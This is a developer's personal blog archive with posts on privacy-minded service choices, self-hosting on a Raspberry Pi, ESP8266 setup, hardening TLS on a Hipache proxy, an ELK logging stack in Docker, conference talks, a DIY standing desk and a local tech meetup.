Linux raspberrypi 4.1.15+will-v7+ #1 SMP Thu Jan 21 02:09:58 CET 2016 armv7l GNU/Linux

Achievement unlocked \o/

My life on The Internets: a year later

2016-01-16T00:00:00+00:00

It’s been a year since I changed the way I deal with my Internet presence. I would like to share some updates in this article. In short, I am pretty satisfied with my current setup but a few things could be improved.

I am more than happy with Fastmail (affiliate link) for emails, calendars and contacts. It works very well! It has everything I ever needed and the support team has been amazing! The only missing feature is that, when sending a calendar invite from my phone or laptop, it uses my Fastmail email address (account@fastmail.com) instead of the email with my own domain. This should be supported soon, though.

I don’t use any Instant Messaging application anymore (I was using Google Talk before). Instead, I rely on emails and SMS. There is Slack now too :-) I started to use WhatsApp, which is owned by Facebook now, ugh! Not my best choice but it is a bit like fighting against Skype with family/friends, it is a tough job.

Another “complicated battle” is related to the use of encrypted emails. I still send more clear text emails than encrypted ones. It is a bit sad but no a huge surprise, I guess. I don’t think people care enough about privacy and GPG is complicated. On the same topic, I don’t use iPGMail on my iPhone anymore.

A few months ago, I bought a Raspberry Pi 2 for my place. I wanted to try self-hosting, i.e. hosting my server and thus keeping my data and my services at home. I first installed Tiny Tiny RSS, the best RSS feed reader ever! The feature I love is the daily email digest. Every morning, I get an email at 8am, offering a few links to read. Because there is an abstract for each link, I can skip those I am not interested in so that I do not spend too much time reading.

I am also self-hosting a Pastebin-like called ZeroBin and ownCloud. ownCloud 8 is amazingly stable and fast and it is now possible to replace Dropbox (or Drive). It can also be used to self-host calendars and contacts. I don’t want to self-host my emails though. Emails are rather critical and should not be unavailable for too long.

At work, we chose to use ownCloud to self-host most of our tools, including files, calendars, and contacts. I may consider moving my personal calendars and contacts from Fastmail to my ownCloud instance as well. We’ll see. In case you don’t want to manage your “own” ownCloud, there are countless providers. In France, I would recommend Framadrive.

Last but not least, I keep using Instapaper, likely the only web application that I am not self-hosting at the moment. Wallabag seems more and more what I need, though. I don’t know why I am still relying on Instapaper instead of Wallabag, maybe because changing habits is hard?

One more thing by the way… I did not find any Disqus alternative yet :-(

Level up

2015-09-08T00:00:00+00:00

What I have delayed as long as I could finally happened: deciding on what to do professionally speaking. Yup, it is almost time for me to leave University after nine years studying tons of different topics. Fortunately, I had the opportunity to work beside my studies. Also, Open Source gave me some keys to explore the real world by myself so I knew what a “job” was. I was just too scared, and making choices has often been complicated to me.

Three years ago, I thought working for a big (read famous) company in the Bay was what I wanted the most. I even did some interviews that all went well but I never joined any company. I received various job proposals from all over the world and some of them were really interesting but, again, I was not excited enough. After three years of doing research, I knew that I wasn’t a good fit for Academia. Consequently, I decided not to pursue this path.

Over the years, I started to care more and more about humans, rights, and ethical behaviours. I also wanted to become a better version of myself, by rethinking my life on the Internets, reading more, encouraging sharing and diversity with Clermont’ech, creating projects that target a wider audience than usual, and even by giving lectures and talks all over the world! I also “grew up” by traveling a lot over the last three years. Among all my trips, visiting my friend Igor who is currently living in Berlin has been a revelation: I wanted to live and work in Berlin.

Earlier this year, I thought about working for a non-for-profit organization a lot: I wanted to work abroad and for a good cause. Organizations such as EFF and RSF caught my attention. I found positions in Berlin too. At that time, this seemed to be my best (and also, only viable) plan. But then, @julienmaupetit came to me with a deal…

After several months thinking and discussing together, I am extremely happy to announce that Julien and I are now partners at TailorDev. We want to develop modern tools to ease scientific collaboration and promote Open Science Data in research. The mission and its strong underlying values align perfectly with my career goals ♥ ♥ ♥

Being the “CTO” of such a company comes with tons of new exciting challenges and that is why I chose this opportunity rather than working for an organization (not saying there are no challenges in non-for-profit orgs here). Creating a startup has always been something I wanted to try at least once and that’s the right moment I believe. As both of us are happy to run a remote first company, moving to Berlin will probably still be possible. This also means that we will be able to work with people from everywhere ;-)

Right now, we are working hard on artich.io, a collaborative platform for scientists! Researchers reading this blog post, if you are not registered yet, you should! We are former scientists in bioinformatics and software engineering, we know how things work in Academia. That is why we put all our energy and skills to offer you with efficient tools!

TL;DR

I chose to start a new adventure at TailorDev. We build artich.io, a platform for researchers.

[Video] Nobody understands REST but that's OK ;-)

2015-06-02T00:00:00+00:00

Last month, I gave a talk on why nobody understands REST at PHP Tour Luxembourg 2015. It is not quite right to say “nobody” understands X, no matter the topic. The title of this talk is definitely catchy!

The aim of this presentation was to explain how complicated REST was, and describe why it was impractical in real life (with concrete examples). I also gave some ideas to build powerful and pragmatic web APIs.

As usual, congratulations to the AFUP team, this event was a blast!

You will find the video of my talk below (in French, sorry):

And, here are my slides:

If you attended my talk and did not rate it yet, please leave a comment on joind.in.

On capifony and its future

2015-04-11T00:00:00+00:00

Hi! This is your captain speaking.

capifony is based on Capistrano v2.x and will stick to this version (i.e. capifony is feature-frozen, and will only accept bug fixes).

At the time of writing, Capistrano v3 is the current major version, and capifony is not compatible with it.

Don’t worry, there is a plugin for that! Using Capistrano v3 + capistrano/symfony (heavily inspired by capifony) may be the way to go for new projects!

Cheers!

Dear capifony users/friends,

As of yesterday (2015-04-10), this is the message you can read on the capifony GitHub’s page. Indeed, capifony is now officially feature-frozen, and we will only accept bug fixes. This doesn’t mean it is no longer active, though.

Over the years, capifony became pretty stable, in part thanks to the addition of a test suite. Even if it is not perfect, it ensures a certain confidence. Recent bug reports are mostly edge cases that are tricky to solve and that we should take care of.

Under the hood, capifony leverages Capistrano v2, which is not the latest version. Capistrano v3 has been released in late 2013 and it is the current/latest major version of Capistrano. It has been entirely rewritten, though, and it obviously breaks backward compatibility.

We discussed the creation of capifony v3 but due to various reasons, a symfony plugin has been created and the work on capifony v3 did not get merged into capifony. The plugin has been built from scratch and is what could have been known as capifony v3, without tests unfortunately. That is one of the reasons why I did not write this article earlier… But now, it is time to move forward!

Now What?

If you use capifony on an existing project, no need to upgrade. It might be complicated, and you could introduce unwanted bugs. If your deployment process works for you, no need to change it.
If you start a new project, you can use Capistrano v3 and its symfony plugin. However, since the Capistrano era, tools and practices evolved a lot, and Capistrano might not be the right tool for you. I would recommend to look at alternatives and/or new ways to deploy your applications.

Playing with a ESP8266 WiFi module

2015-03-17T00:00:00+00:00

I started to play with some Arduino-based technologies after having built my very own Arduino board at AcoLab¹ a few weeks ago. I’ve been working on a project to connect a coffee machine to the Internets. In this article, I introduce the ESP8266 WiFi module, courtesy of @disk_91, from a “user perspective”.

I have a ESP-01 module (ESP8266 being a microchip with its own built-in TCP/IP stack). It is possible to program and use this module without any other board but the module isn’t super powerful. In case you’re interested, nodemcu is a lua-based interactive firmware worth taking a look! The alternative approach is to pair this module with another micro-controller like an Arduino. That’s how I want to use this WiFi module in the future.

We can get started with just a computer, though. A FTDI is needed to connect the module to it. FTDI is a common name for USB-to-TTL (or serial) converter, FTDI being the company making and selling these products.

Wiring

As mentioned previously, I have a ESP-01, which has 8 pins: VCC, GND, CH_PD, TX, RX, RST, GPIO0, and GPIO1. Wiring the module is not super complicated:

VCC needs 3.3V
CH_PD has to be pulled-up (meaning it has to be connected to 3.3V as well)
GND is connected to FTDI’s GND pin
RX is connected to FTDI’s TX pin, because we want to create a loop: RX -> TX => RX -> TX
TX is connected to FTDI’s RX pin
other pins are left floating

It’s important to use a 3.3V power supply and not 5V. In terms of power consumption, this module requires more than 200mA. This is also rather important because a lack of intensity causes various issues (the module gets unstable and it’s annoying to debug).

I read that CH_PD should be pulled-up with a resistor (from 3k to 10k Ohms), however it did not work for me so I connected this pin to VCC 🙈

Talking to the module

We can use screen or any tool that can talk to a serial interface to connect to the module using an FTDI. This is how I did it:

screen /dev/tty.usbserial-A50285BI 9600

Depending on the firmware version, baud rate is different: 9600, 57600 or 115200. This is another thing that can cause communication issues. You should try different baud rates, it will either work, display gibberish, or simply fail… 115200 seems to be the default value.

Once you find the right baud rate, you can send a first AT comand to the module. The following command asks the module whether it is up:

AT

It should respond with OK. The AT command set is quite large, I cover a few commands in this post but feel free to try them all.

At this point, I could communicate with the module but it wasn’t super stable. I read that it could be an issue with old firmware (related to the default baud rate) so I looked into flashing my ESP-01 with a more recent firmware.

Upgrading the firmware

I downloaded the most recent official firmware from espressif/esp8266_at. In order to flash the module, GPIO0 must be pulled-down by wiring its pin to GND. After that, esptool can be used:

$ esptool.py -p /dev/tty.usbserial-A50285BI write_flash 0x0000 boot_v1.1.bin \
    0x01000 user1.bin 0x7C000 esp_init_data_default.bin 0x7E000 blank.bin

boot_v1.1.bin, esp_init_data_default.bin, and blank.bin don’t really change between versions but user1.bin does! Recent firmware apparently support cloud updates, but I haven’t tried that yet.

In order to change the baud rate, connect to your module and send the AT+CIOBAUD command with a value (57600 in this case):

AT+CIOBAUD=57600

Now that the communication with the module is OK, let’s join an access point.

Joining an access point

I used pyesp8266 to talk to the module and connect to an Access Point. This tool offers a thin abstraction layer on top of some more AT commands:

$ python esp8266test.py <serial_port> <ssid> <password>

A few hints in case something goes wrong:

Is the red LED on the module lit? If it is not, the board is not getting power.
When trying to issue commands, do you see the blue LED on the module blinking? If not, check the RX/TX connections. If the LED is constantly lit, then one of the connections is wrong (probably RX/TX).
Are you seeing gibberish? Try a different baud rate. In one of the provided scripts, run the AT+CIOBAUD command first (modify the script).
The script gets stuck on the AT+CWJAP command? Increase the timeout in the script (default is: 5 seconds, mine works better with 10).

Running a TCP server

As I wrote previously, this module embeds a TCP/IP stack, which allows the module to open a socket and listen to a given port (among other things). This is doable by manually sending AT commands or by using the esp8266server.py script (bundled with the pyesp8266 tool).

This script runs a simple TCP server on port 80 by sending the following AT commands:

# allow multiple connections
AT+CIPMUX=1

# run a TCP server on port 80
AT+CIPSERVER=1,80

The script also sends the AT+CIFSR to retrieve the IP address. We can use this IP to connect to the server. In a web browser, we would see the message GOT IT! as depicted in the screenshot above.

Je n'ai rien a cacher (I've got nothing to hide)

2015-01-31T00:00:00+00:00

This week, I launched jenairienacacher.fr, a website explaining what is wrong with the “nothing to hide” argument, and providing information, data, and facts on this topic. This is my first project written in French (as far as I can remember), however @Guyzmo made an English version of the content (that isn’t available anymore, unfortunately).

I know quite a lot of people who think they don’t have anything to hide because they are honest and they respect the law. I was a bit tired to always repeat myself, to always find the same articles and studies to prove they did not realize what it meant to say “I’ve got nothing to hide”. I was not aware of any online resource that aimed at gathering as much information as possible written in French. Then, earlier this month, @KPhoen was asking for arguments to explain the issue to his mom on Twitter. This project was born.

What I started to do was basic: aggregating information from various places, and trying to come up with a website. However, this would not have been possible without the help of @mazenovi. Yes, it would not have even existed. To be honest, convincing him was the most complicated challenge to me. But as soon as I explained him the project, he was willing to contribute! After a few weeks of work, we released a first version.

On the first day, more than 8000 unique visitors browsed jenairienacacher.fr (thanks @ubermuda for the Piwik instance). I tweeted the link in the morning and a couple hours after, I submitted it to Hacker News. It stayed on the home page for several hours, which is amazing given that the website is written in French. Someone submitted the website on reddit too, and it has been quite popular as well. All in all, this project got positive feedback, way more than I anticipated to be honest. We now have even more work and ideas to make this website better!

Both the website and its source code are hosted on GitHub. Feel free to give a hand :) You can also follow @rienacacher_fr on Twitter if you want to keep in touch. @mazenovi will tweet curated resources tagged with #jnarac.

Thank you ♥

Rethinking My Life (On The Internets)

2015-01-16T00:00:00+00:00

The Internets. This wonderful land where everything is free, public, and… persistent. LOL

I often carefully chose what I put online: comments, documents, pictures, etc. I wrote often here because it took me a while to educate myself, to learn and understand the implications of my behavior on Internet. I started using Internet when I was 18-ish, because of my studies to be honest, since I was not much interested in anything over IP at that time.

Fighting Technology Enslavement

By the end of 2013, I unsubscribed myself from most of the mailing-lists I had subscribed to in the past, and basically turned off all notifications, including phone notifications (Twitter, Facebook, Emails, etc.). I moved from a push approach to a pull approach: I decide when I want to consume information, not the other way around, so that I can keep focused on what I am doing. I don’t need to be notified in real time. I don’t want to. When we analyze such a situation, one reads his Twitter notifications because his own smartphone told him to do so. What a weird feeling isn’t it? This is exactly what technology enslavement is. I am part of this generation of (young) people who can hang out in a pub, all focused on their smartphone for whatever (bad) reason (most of the time, Candy Crush…), no one talking to each other, not verbally I mean. I educated myself to avoid this, to live without smartphone or laptop, and to truly start to live life to the full. Call me nerd or whatever you want, I know too many muggles (read non-[IT|nerd|geek|tech] people) who do that…

Things went really well! I became more efficient, I get things done, and I did not miss any important event. What was the difference then? Less stress, more time to dedicate to things that matter such as family, friends and hobbies.

Just. Delete. Me.

Last year, I started to reduce the amount of web services I was using or rather, I thought I would use. Justdelete.me was great help! I listed all services I was still using, and I deleted or disabled the other ones.

Now we are in 2015 and I began to accomplish something I wanted to do for a while now: taking care of my personal data, for real. Too late? No, it is better late than never.

Taking Control of My Personal Data

First, I want to control which companies can access my personal data, meaning I agree with their terms and conditions (so things must be crystal clear, which is not often the case). Second, I don’t want to be a product anymore. Third, I want to be more respectful with people connected to me, by not giving their personal information to companies without asking them. Of course they probably do that with my information already, but I am aware of this and I can live with it.

As I don’t use a lot of applications, switching to better services in term of reliability and privacy implies three major pieces: emails, agendas and contacts. All hosted on this good old friend: Google. I tried to move away from Google, I swear it! Several times. But this month, I decided to take a new year resolution to avoid giving up again.

Emails, Contacts, Agendas

I started by buying my own domain name for my emails: drnd.me. It is both short and quite easy to remember. Also, take my name, remove vowels, concatenate .me and you are done! See the use of a domain name you control as an abstraction layer, you can put any email hosting service behind it, your contacts will still be able to reach you. I don’t know why I did not do that earlier actually… Then, I created new aliases and changed my email everywhere. I reconfigured Gmail to send my new personal email as Reply-To email’s header, so that it is being spread slowly but surely.

Then, based on some recommendations on Twitter, I chose Fastmail (affiliate link) to take care of my emails, and I am happy to pay for it! It is blazing fast, it works and it perfectly fits my needs. Importing all my emails from Gmail took half a day. At the time of writing this article, Gmail forwards all emails to Fastmail, and I now exclusively use it. Fastmail takes the privacy of their users very seriously, no data mining, a clear privacy policy and it is an Australian company subject to Australian law (even if their servers are in the US).

Fastmail also provides an Address Book feature in beta. It works pretty well so I moved all my contacts from Gmail to Fastmail. I also switched from Google Calendar to Fastmail Calendar. Oh and they also provide a secure platform for file sharing through WebDAV. Tip top!

Instant Messaging

I often use GTalk, replacing it is not easy because of my contacts, but also because most of the existing IM solutions are tied to corporations (Facebook, Google, etc.). The main issue is that GTalk conversations are indexed by Google in Gmail, meaning these conversations are not really private.

As suggested by Josh, using Adium and firing up OTR-encryption is a wise solution. Because I can’t force my friends to use a secure communication channel, I am forced to consider IM conversations in the public domain. If one of my contacts uses a client supporting OTR, we will have private conversations though.

Web Browsing

My main web browser is Chrome, and I am not going to change it. What I did however has been to completely remove any link to my Google account. I lost all my bookmarks in the fight, and I realized that this was not a problem. Who uses bookmarks nowadays anyway? ;-) I also disabled all speed improvement features that use Google web services.

I configured Chrome to use DuckDuckGo, rather than Google. It is going well so far, but I am not going to definitely avoid Google. That is why I installed Privacy Badger, a free privacy-related browser extension, enabling its users to easily detect and control web bugs. As suggested by Josh again, I also installed HTTPS Everywhere to ensure that my web browser establishes a secure connection to websites that support it. This is more or less the client version of HSTS.

For fun, I also gave the Tor Browser a try, a bit too slow but still quite good. I don’t plan to use yet, but it may be useful if things turn worse than expected here in France…

What Else?

For years, I helped Google track you by using Google Analytics. I do apologize for that. I switched to Piwik last month thanks to @ubermuda, and I now recommend it over Google Analytics.

I am now looking for alternatives to Disqus for the same reasons, but it is a bit complicated since this blog is basically static HTML, hosted on GitHub. If you have suggestions, comments (on Disqus, haha!) are open :)

Last but not least, I did not talk about PGP. I don’t really use it yet (my public key), mainly because I don’t really know who really uses it: my parents don’t, my friends don’t. That is why projects such as Caliopen are more than interesting! Since I own a PGP key, I use OSX’s Mail.app mail client + GPGTools and iPGMail on iPhone.

Talking about security, that is not what I targeted in the first place. I am still growing up (we are all growing up when it is related to security in my opinion), so things are going to change over time. It is probably far from perfect, but it is better than doing nothing.

A year in pictures

2014-12-29T00:00:00+00:00

Open Source and work put aside, here are some of my greatest moments in 2014.

January

Visiting my sister + City Trip — Brussels, Belgium

February

Clermont’ech 1st Birthday — Clermont-Fd, France

March

Skiing with friends — French Alps, France

April

Running — Gergovie, France

May

Visiting @KPhoen + City Trip — Montreal, Canada

City Trip + Visiting @jmikola — New York City, USA

Visiting Julien + City Trip — Quebec, Canada

June

Visiting @youb_s + Conference — Lyon, France

July

Conference — Las Vegas, USA

Road Trip — Somewhere on Road 66, USA

Road Trip — Williams (Arizona), USA

Road Trip — Grand Canyon, USA

Road Trip — Horseshoe Bend, USA

Road Trip — Valley of Fire, USA

August

Visiting @igorwhilefalse + City Trip — Berlin, Germany

Triathlon (Olympic distance) — Vichy, France

September

Mountainbike race with friends (2x85km) — Massif Central, France

October

Conference — Lyon, France

November

1st Clermont’ech Workshop (Git) — Clermont-Fd, France

December

Conference + City Trip — Hanoi, Vietnam

I would like to thank everyone I met either online or in real life over the year as well as my lovely friends ♥ I wish all of you a Happy New Year, and all the best! See you in 2015!

Configuring SSL/TLS With Hipache (And Node.js)

2014-12-23T00:00:00+00:00

Lately, I have been working on configuring a SSL/TLS layer for a project. As you may (or may not) think, it is not only about creating SSL certificates. In the following article, I am going to describe how to properly configure SSL/TLS with Hipache, a distributed HTTP(s) and websocket proxy. Disclaimer: even if I am really interested in security, I am not a security expert.

Getting SSL certificates (key, crt, pem files) is a good start, but it is definitely not enough. With the recent security issues such as POODLE, Heartbleed and so on, configuring this layer requires more attention than ever. Want to check your current configuration? Qualys SSL Server Test to the rescue! First time I tried, I got a C grade…

Secure Protocols

There are five secure procotols, part of the SSL/TLS family, but most of them should not be used. SSLv2 and SSLv3 are insecure, do not used them! Yes, disable SSLv3 now! TLSv1 is also insecure, whereas TLSv1.1 and TLSv1.2 are not, or at least are without known security issues (yet).

Hipache is a Node.js application. The good thing about this platform is that people seem to care about security, and since v0.10 SSLv2 and SSLv3 are disabled by default. Hipache relies on Node’s https.createServer() method, and a secureProtocol option is available to specify the secure protocol to use. Its default value is SSLv23_method and is about negotiating a protocol from the highest level down to whatever the client supports. Yes, worst name ever! Another option called secureOptions is available and can be used to explicitly disable the use of SSLv3 and SSLv2. Since v0.10.33, it is disabled by default though. Such a configuration protects against the POODLE attack in Node.js.

Unfortunately, I could not get it work as is using Hipache, so I ended up patching this load balancer to support the secureOptions parameter. This patch provides the exact same configuration as described above. (Note: I maintain a Docker image with my Hipache tweaks, running in production).

Securing secure protocols: done!

Secure Cipher Suites

Next step is about defining how secure communication takes place. That is important for enabling Forward Secrecy, which means that for an attacker it wil not be possible to decrypt your previous data exchanges if they get access to your private key, and to protect against the BEAST attack (which is not impractical).

After having read how to configure Apache, Nginx, and OpenSSL for Forward Secrecy, I decided to use the following cipher suite (which disables RC4 by the way):

DH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4

So far so good. Not exactly, because stable Node.js version (v0.10.34) does not support Elliptic Curve Diffie-Hellman (ECDH) ciphers yet, even if a patch has been merged. Node v0.11.14 (unstable) contains this patch, therefore it is the version to use if one wants to deploy Forward Secrecy. It is important to support ECDHE because it is supported by all major modern browsers whereas Diffie-Hellman (DHE) does not.

Hipache exposes a ciphers option but does not provide the honorCipherOrder one, which is recommended to mitigate BEAST attacks in Node.js documentation. Then again, there is a pull-request for that!

My Hipache https configuration now looks like this:

"https": {
    "port": 443,
    "bind": [ "0.0.0.0" ],
    "key": "/etc/ssl/ssl.key",
    "cert": "/etc/ssl/ssl.crt",
    "ciphers": "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4",
    "honorCipherOrder": true
}

Doing all of this allowed me to get a A grade with Qualys’ tool, which is quite good. In the next section, I am going to describe a few more security points that everyone should know and check.

What’s Next?

Client-Initiated Renegotiation

In TLS, renegotiation allows parties to stop exchanging data in order to renegotiate how the communication is secured. The protocol lets the client renegotiate certain aspects of the TLS session. Thing is, client-initiated renegotiation may lead to Denial of Service (DoS), and therefore must be disabled.

In Node.js, renegotiations are limited to three times every 10 minutes. While these default values seems legit to me, Qualys’ tool reports no protection against this attack.

TLS Compression

The CRIME attack exploits a flaw with data compression. When used to recover the content of secret authentication cookies, it allows an attacker to perform session hijacking on an authenticated web session, allowing the launching of further attacks (says Wikipedia).

In order to protect against this attack, Node.js disables all compression.

Downgrade Attack Prevention

A Man-In-The-Middle (MITM) can disrupt an SSL handshake and cause the client and server to select an earlier SSL protocol version. This is known as an SSL downgrade attack. Disabling SSLv3 protects against this attack.

It is worth mentioning that Google has written an RFC to propose an extension to SSL/TLS named TLS_FALLBACK_SCSV that seeks to prevent protocol downgrade attacks. The latest OpenSSL 1.0.1j version support TLS_FALLBACK_SCSV which Node v0.11.14 does not support yet (1.0.1i by now).

OpenSSL

Reminder: make sure to use a secure version of OpenSSL.

HTTP Headers

Enable HTTP Strict Transport Security (HSTS) in your web server (Nginx here) configuration:

# Enable HSTS
add_header Strict-Transport-Security max-age=63072000;

Resources

Elasticsearch, Logstash & Kibana with Docker

2014-12-17T00:00:00+00:00

Yesterday, I gave a talk on how I use Docker to deploy applications at Clermont’ech API Hour #12, a French local developer group. I explained how to create a simple yet robust infrastructure to deploy a web application and a few services with zero downtime.

In order to monitor my infrastructure, and especially the HTTP responses, I gave the popular ELK stack a try. ELK stands for Elasticsearch, Logstash, Kibana. Since I haven’t covered this part in my talk, I am going to describe it here.

The ELK stack

I wrote a Dockerfile to build an ELK image. While you can directly use this image to run a container (mounting a host folder as a volume for the configuration files), you should probably extend it to add your own configuration so that you can get rid of the mapping to a host folder. This is one of the Docker best practices currently.

You will find Elasticsearch’s data in /data. I recommend you to use a data-only container to persist the data. The two commands below should get you started:

$ docker run -d -v /data --name dataelk busybox
$ docker run -p 8080:80 \
    -v /path/to/your/logstash/config:/etc/logstash \
    --volumes-from dataelk \
    willdurand/elk

Logstash forwarder

Such a stack should probably run on its own server. The logstash configuration should only receive logs from the outside (the production environment for instance) and send them to Elasticsearch. We need a tool to collect the logs in production and process them somewhere else. Fortunately, that is exactly the goal of the logstash-forwarder (formerly known as lumberjack) project!

Below is an example of logstash configuration to process logs received on port 5043 thanks to the lumberjack input. You may have noticed that Hipache logs are filtered (I actually took this configuration from my production server :p).

input {
  lumberjack {
    port => 5043
    ssl_certificate => "/etc/ssl/logstash-forwarder.crt"
    ssl_key => "/etc/ssl/logstash-forwarder.key"
  }
}

filter {
  if [type] == "hipache" {
    grok {
      patterns_dir => "/etc/logstash/patterns/nginx"
      match => { "message" => "%{NGINXACCESS}" }
    }
  }
}

output {
  elasticsearch {
    host => "127.0.0.1"
    cluster => "logstash"
    # Uncomment the line below if you use Kibana 3.1.0
    # embedded => false
  }
}

It is worth mentioning that logstash-forwarder requires SSL.

Back to the production environment, I wrote a Dockerfile to run logstash-forwarder. You need the same set of SSL files as seen previously in the logstash configuration, and a configuration file for logstash-forwarder. Then again, using this image as a base image is recommended but, for testing purposes, we can mount host folders as volumes:

$ docker run \
    --volume /path/to/your/ssl/files:/etc/ssl \
    --volume /path/to/your/config/file:/etc/logstash-forwarder \
    --volume /var/log/nginx:/var/log/nginx \
    willdurand/logstash-forwarder

The logstash-forwarder config.json file contains the following content. It tells logstash-forwarder to send hipache logs (found in /var/log/hipache/access.log) to logstash.example.org:5043:

{
  "network": {
    "servers": [ "logstash.example.org:5043" ],
    "ssl certificate": "/etc/ssl/logstash-forwarder.crt",
    "ssl key": "/etc/ssl/logstash-forwarder.key",
    "ssl ca": "/etc/ssl/logstash-forwarder.crt"
  },
  "files": [
    {
      "paths":  [ "/var/log/hipache/access.log" ],
      "fields": { "type": "hipache" }
    }
  ]
}

Having data-only containers everywhere would be better :)

Kibana

This is the final piece! You can now create your own dashboards in Kibana. Here is mine to monitor the HTTP responses of the load balancer:

Need inspiration? Watch this video if you speak French.

Also…

Twelve Factors mentions that logs should be sent to std[err|out], which does not always seem possible to me but, if you do that, then you will probably be interested in logspout.

[Video] Software testing: past, present, future

2014-11-09T00:00:00+00:00

Last month, I gave a talk on software testing at Forum PHP 2014 in Paris, organized by the french foundation of French speaking PHP users (AFUP). Then again, congratulations to the team, this event was a blast! (As usual, I would say :-))

In this talk, I gave an overview of what software testing was, describing three different periods: past, present, and future, hence the title of this talk.

You will find the video of my talk below (in French, sorry):

And, here are my slides:

If you attended my talk and did not rate it yet, please leave a comment on joind.in.

[Video] REST dans le monde Symfony

2014-07-16T00:00:00+00:00

Last month, I gave a talk about REST and Symfony at PHP Tour Lyon 2014, organized by the french foundation of French speaking PHP users (AFUP). Congratulations to the team, this event was a blast!

You will find the video of my talk below (in French, sorry):

And here are my slides:

I used the symfony-rest-edition and Propilex projects for the demos.

If you attended my talk and did not rate it yet, please leave a comment on joind.in.

RESTing with Symfony: SOS

2014-07-02T00:00:00+00:00

Two years ago, I wrote REST APIs with Symfony2: The Right Way, one of my most popular blog posts, but also one of the most well-known blog post about Symfony and REST. At first glance, I could enjoy this situation, but it actually makes me sad, and that is what I am going to explain here.

Lukas and I give talks to spread the word about RESTing with Symfony for the last year now. Sure thing is that we have a nice set of components (libraries and bundles) that work well together, and provide a lot of interesting features. For those who are not aware of this, checkout our slides! The Symfony developers behind all of this even contributed to the PHP ecosystem at large as most of the features are provided as standalone PHP libraries. Fantastic!

Not really. Last year, Lukas wrote a blog post explaining what was needed to REST in Symfony, and there was still a lot of work left. Did things change? Not really, again. That was in 2013, and remember that my blog post has been written in 2012.

Come on we are in 2014, and to me, nothing has changed! Sure we have a couple of “recent” blog posts such as the Symfony2 REST API: the best way series. It is a nice series, not only s/right/best, but it covers pretty much the same things I covered two years ago. I didn’t see any other interesting blog post about REST with Symfony recently unfortunately… Lately, Ryan, Leanna and I created a screencast named RESTful APIs in the Real World. I came across a few new bundles, mainly focused on authentication such as ApiKeyBundle and LexikJWTAuthenticationBundle. That is it!

I think that we, the Symfony folks interested in APIs and REST stuff, have two problems:

a clear lack of contributions (not only in term of code, documentation matters too);
too few new big features.

For instance, we could probably leverage the GeneratorBundle to scaffold an API. We probably need more integration with client-side applications (AngularJS, Backbone.js, whatever). People could write blog posts explaining how they built their API, because I am pretty sure there are people here who already built an API with Symfony. Existing bundles and libraries also need regular contributors, but this is obvious. Also, if you have other ideas or comments, you can leverage the new Developer eXperience (DX) system.

Please, help!

Standing Desk Do It Yourself (DIY)

2014-03-17T00:00:00+00:00

I have been interested in standing desks for a while. A standing desk is a desk conceived for writing, reading, or working, while standing up or while sitting on a high stool. The impact of such desks on our health has been quantified, and several reports have come out pointing out the dangers of sitting too long (e.g. risk of obesity, diabetes, heart disease, a variety of cancers, and an early death). According to most people using standing desks, they even make you more productive, but I didn’t find any formal report confirming that yet.

After having given cardboard box-based standing desk a try last week, I decided to build my own standing desk, on top of my existing desk, for less than 30 euros ($40). There are plenty examples of DIY standing desks on the Internet, but that one is probably the best known, and this is the one I used as an example.

First, I needed the following items:

two side tables (2 x 7 euros);
two black brackets (2 x 1.5 euros);
a black rubber slab with adhesive backing (8 euros);
wood glue, screws, and a few tools (free).

Then, it was time to write down THE plan. I needed to put the keyboard at the height of 32cm starting from the top of my existing desk, and the main monitor at the height of 10-15cm upper.

The side tables are square (50x50cm), and their height (42cm) perfectly fits my needs, given my existing desk dimensions as described above. That is why I chose such side tables actually, and this made things a lot easier.

One side table has been used as is, and will support the main screen. The other side table has been split (25cm depth, and 32cm height), and will be used for either a laptop or a keyboard. In order to screw the brackets on the half table, I crafted two wood blocks that I put into the table, that one being made of wood with paper filling. This happens when you buy cheap furniture… Adding these blocks did the trick though.

I did the same thing for the two hollow legs of the half table, gluing blocks of wood into them so that it looks exactly like the original legs. Here, I reused the blocks that were located in the offcuts of the two legs I cut.

At that time, everything was ready for assembling. I put up the other side table, then I screwed the short legs and the brackets on the half table.

Sort of protip, I used a black marker to color the edges of the half table in order to make them pretty. Version 1 will not hide the back of the half table unfortunately. I didn’t find a satisfying solution yet.

Then, I screwed the half table part to the main side table, and cut and stuck rubber pads on each leg. That way, the whole piece of furniture should be pretty stable once put on the desk.

And voilà! I am ready to work standing up. It is worth mentioning that I can double the space of the upper surface, if I want to, by simply buying another side table (I actually bought a few ones already, just in case you know). I also kept the other part of the table I cut so that I can possibly build another similar piece of furniture.

I would like to thank Jean-Pierre who has provided me all the tools and knowledge I needed.

The story behind Clermont'ech

2014-02-21T00:00:00+00:00

One year ago, Julien, Pierre, Manuel, Jean-Philippe, Julien (yes, again) and I created Clermont’ech, a non-for-profit organization dedicated to gathering developers in our city. Our goal was simple yet impactful—organize conferences every two months, known as the API Hours.

Reflecting on the past, attending conferences such as Symfony Live 2011 and the ParisJS events when I was living in Paris was an eye-opener. When I returned to Clermont-Fd, I talked to some of my friends about the idea of organizing conferences here, between the volcanoes. Unfortunately, we were all quite busy, and nothing happened. This was in 2011.

My journey took a significant turn when I moved to Switzerland. There, I discovered the power of simplicity and freedom: Wanna do something? Well, just do it! In other words, if you never try you will never know. Back to Clermont-Fd again, I connected with Julien Maupetit who wanted to build a Python community:

Yeah, there isn’t a lot of Pythonistas in our area. However, there are PHP, Java, .NET, …, and JavaScript folks. Hence the idea of not being focused on a single technology or programming language, but rather, targeting developers at large. That is how Clermont’ech is born, exactly a year ago.

Julien was really a catalyst, and it was also the right moment, I guess. We discussed the idea with the LavaJUG folks (Java User Group), the first local tech organization, which provided invaluable guidance.

The first thing we did was to all agree on a manifesto with four strong values:

Openness: we are technology-agnostic, everyone can join the flock;
Independence: we are not tied to any company or organization, no matter how much they could give us;
Respect: people who stir up trouble are not welcomed;
Sharing: every decision we make is driven by this value, we don’t just promote sharing through the conferences.

